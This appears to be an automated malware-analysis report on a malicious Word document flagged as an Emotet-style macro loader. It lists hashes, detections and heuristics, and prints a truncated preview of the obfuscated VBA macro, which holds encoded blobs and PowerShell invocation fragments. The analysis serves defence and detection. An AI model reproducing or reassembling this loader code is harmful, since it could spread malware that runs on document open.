Office (OLE) malware analysis — malicious · 2166f3ee860cfda1

MALICIOUS

Office (OLE)

165.0 KB Created: 2018-03-26 18:42:00 Authoring application: Microsoft Office Word First seen: 2019-09-30

MD5: 2f5cea73652152048ecaa7d7ffc3ad69 SHA-1: c8c12f39cd56f465c8b4684d2e94f29aa7c92df7 SHA-256: 2166f3ee860cfda120fc376cb00e0c2441f183e26f7cb79121e606efb9cfd2b9

224 Risk Score

Malware Insights

MITRE ATT&CK

T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious Office document containing VBA macros. Heuristics indicate the presence of an AutoOpen macro that uses CreateObject, suggesting an attempt to execute code. The VBA script itself is heavily obfuscated, but it appears to be constructing strings that are likely used to invoke system commands or download further payloads. The ClamAV detection 'Doc.Malware.Emodldr-10025032-0' further supports its malicious nature.

Heuristics 8

ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION

ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
VBA macros detected medium 3 related findings OLE_VBA_MACROS

Document contains VBA macro code
AutoOpen macro high OLE_VBA_AUTOOPEN

AutoOpen macro
CreateObject call high OLE_VBA_CREATEOBJ

CreateObject call
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC

Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC

OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
Embedded URL info EMBEDDED_URL

One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.

URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`macros.bas`	vba-macro	oletools.olevba.extract_macros (decoded VBA source)	35753 bytes
SHA-256: `77b28cdc1478dfc9b4075445dcd24fbbbf443caf3072ed35a3faf9d7a0f25d76`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 19 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script Attribute VB_Name = "QPztUwiEt" Attribute VB_Base = "1Normal.ThisDocument" Attribute VB_GlobalNameSpace = False Attribute VB_Creatable = False Attribute VB_PredeclaredId = True Attribute VB_Exposed = True Attribute VB_TemplateDerived = True Attribute VB_Customizable = True Attribute VB_Name = "FpMNUOrz" Function wMsJMiQ() On Error Resume Next For Each XJSSP In lASQC ENvif = 14292 - hcqUH For Each HjbZnC In aTrDWr rHRMCV = JvnHi Next Next pjpPzwtYr = uNtpvs("I70 .((GV 'mdR').nAMe[3,11,2]-JOIn'') ( ( [RuntIMe.inTeROpSERviCes.MaRShAl]::([rUNtImE.iNTEROPSERViCEs.MaRSHAL].GEtMEMbeRS()[1].nAme).8GTJD", 4, 133) For Each pTohoL In IUJbiO ilVrL = 77089 - UaKdS For Each fzooRJ In JGfKO MjWzq = nSdYZw Next Next For Each DEjQN In HBnjv wFzXaC = 63930 - ztwBd For Each lYwsJ In VtPKj CqOOUY = MzhSGO Next Next FTDzmkUk = uNtpvs("4zV.ZDkANwA1ADYAOABkADQANQBiADIAZgAwADAANgBmADcAYgA5AGIAMgAyADkANABmADgAMwAwAGIAYgA4ADQAZgBkADkAYji", 6, 92) For Each smOJF In mvVjEv mYFpp = 76997 - AqDjZZ For Each RUEGq In JQjiGE rGVfJ = zJosr Next Next For Each GGpbN In QhPRW trGiKE = 74540 - zEipul For Each ndfwC In AciJq fOjpOo = rNcNpB Next Next mtUHnB = uNtpvs("zAGIANwA4AGYAYQA5AGQAYQAwAGEAZgBkAGMANQAwAGYANgA3ADMAZQBmADE@.VVfuD5", 2, 59) For Each zJBXz In brcDjT bsOYV = 37097 - HdQPT For Each UuGLP In zqGrbK JSnmc = uUwwz Next Next For Each iBzHBM In QVzwA qzuRrH = 7424 - JuMasF For Each YMYmHA In wOhdAw GFjid = ojrYS Next Next RDPjOXq = uNtpvs("T@S5A1AGEAMwAzADEAZgAwADQANwA5AGQANQAyADQAOAA2ADMAZAAzAGEAMwA3ADAANAA0AGMAZABkADEANgBlADkAZABmAGEAYgA1ADIANwA2AGUAOQBjADUAOAA0AGUANgBlAGIAYQBmADIANABlAGMAOQBjAGUANwlMG%", 6, 159) For Each sYHlj In GEsJb touAf = 69443 - GGiDp For Each wOFLoV In TuIXpd Utsdz = VlpFnE Next Next For Each UPbwH In XRQwiq IwimP = 53274 - EqdGjR For Each bWOmXF In ibkTzR ElYkj = ZODha Next Next oIGnXj = uNtpvs("h1.gAxADgAYgA4ADIAOQA1ADXzqBh", 4, 20) For Each dPimV In phvuC KlbiU = 95570 - PKmAF For Each VAFXM In jLUbh pPGKk = JiNaw Next Next For Each CWSTfz In JKbMN LDoSuJ = 51984 - aTLiJu For Each RJRTR In OtFja COrNr = lUNbkD Next Next liudf = uNtpvs("dcinVoKe([rUnTiMe.inTerOpsERvICes.MARshaL]::SEcureSTrINGTOgLOBALaLLocansI( $('76492d111jp7uHb", 3, 85) For Each wicCG In WFAsBK vRzJjl = 37258 - YfiGUl For Each ZtqYN In Uimqw ENCWpC = BUXDsw Next Next For Each Jwbpfz In IUqEq ILtis = 7375 - fIDcQL For Each mvXuNj In MqbEV PIcnOM = KWlcZT Next Next SjMhOzbLWk = uNtpvs("m0zbLGLAGYAOABhAGQANwAwAGYANAA0AGUAZgBjADgAYwBhAGQAMwA2ADEAMwBiADIAMAA3AGQAZgA4ADUAZgsV", 8, 78) For Each NAswYT In PMwvq BwUSd = 45432 - jXfQO For Each acQKu In tHBLz fBjzwj = XFjOBT Next Next For Each ZfjWH In rGkkO oBzwVT = 95028 - FhRkWK For Each Tvjdf In QIjiz dfvjzv = RLqrY Next Next RZqCmlii = uNtpvs("70a5345MgB8AHgAeQBmAHMARQBnAHUAZQBBADYAYQBQAFEAeQB1AGMASwBJAHkAcwA3AGcAPQA9AHwAYwA5ADYANgAyAGUAZgAyAGEAOAAyADgANgA1ADUAYwA3ADAANwBkADcAZQA1ADgAMABkAGUAZgBlAGYAYQA2ADkANAAwADAAZAA0Ii8E.f", 2, 178) For Each AzJsOv In wCYKAH jYsONW = 46595 - HJzRp For Each sCdDK In iNHQUm waHkjr = ftSbi Next Next For Each IFVvLf In nvVuV VsTWb = 5263 - ihqBC For Each pJTwMF In PUlMIU WEfKb = sjYaL Next Next GnYXKklHJ = uNtpvs("4FPADUADIAYgA3ADEAYgA3ADgAMQA4AGIAMQA0ADkAOAA4ADEAOABkAGUANAAwADAAMAAzADYANAA5ADIAMgAzADYANAA4ADgAOABlAGEAZgA3ADAAZgAyADgANgA2ADIAZgAxAGQAMABjAGYANwAzAGIAZQAwADYAMgBiADMAZAAwdjd", 7, 168) For Each XzSaP In tLqJU IpWCAG = 13083 - HwmaC For Each atHGks In GizzuW PINNkj = mlqiS Next Next For Each iuGlh In dIuj ... (truncated)

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